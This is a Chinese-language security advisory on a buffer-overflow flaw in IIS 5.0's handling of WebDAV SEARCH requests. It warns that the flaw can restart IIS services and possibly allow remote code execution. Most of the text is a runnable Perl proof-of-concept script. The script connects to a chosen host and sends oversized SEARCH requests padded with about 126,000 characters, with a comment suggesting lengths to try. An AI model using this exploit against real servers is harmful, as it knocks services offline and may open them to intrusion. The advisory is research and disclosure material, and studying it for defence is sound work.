涉及程序: IIS 描述: 通过构造特殊的 SEARCH 请求导致 IIS 执行攻击者代码漏洞 详细: 发现 IIS 在处理 SEARCH 请求时存在漏洞,攻击者通过提交构造特殊的 IIS SEARCH 请求能重启与 IIS 相关的所有服务,而且可能远程执行任意代码。
以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负
Details: --vv6.pl------------------------------------------------------------- #!/usr/bin/perl use IO::Socket; printf "IIS 5.0 SEARCH\nWritten by Georgi Guninski wait some time\n"; if(@ARGV < 2) { die "\nUsage: IIS5host port \n"; } $port = @ARGV[1]; $host = @ARGV[0]; sub vv() { $ll=$_[0]; #length of buffer $ch=$_[1]; $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || return; $over=$ch x $ll; #string to overflow $xml='<?xml version="1.0"?><D:searchrequest xmlns:D="DAV:"><D:sql>SELECT DAV:displayname from SCOPE ("'.$over.'")</D:sql></D:searchrequest>'."\n"; $l=length($xml); $req="SEARCH / HTTP/1.1\nContent-type: text/xml\nHost: $host\nContent-length: $l\n\n$xml\n\n"; syswrite($socket,$req,length($req)); print "."; $socket->read($res,3000); print "r=".$res; close $socket; } do vv(126000,"V"); sleep(1); do vv(126000,"V"); #Try 125000 - 128000 ---------------------------------------------------------------
受影响系统: IIS 5.0
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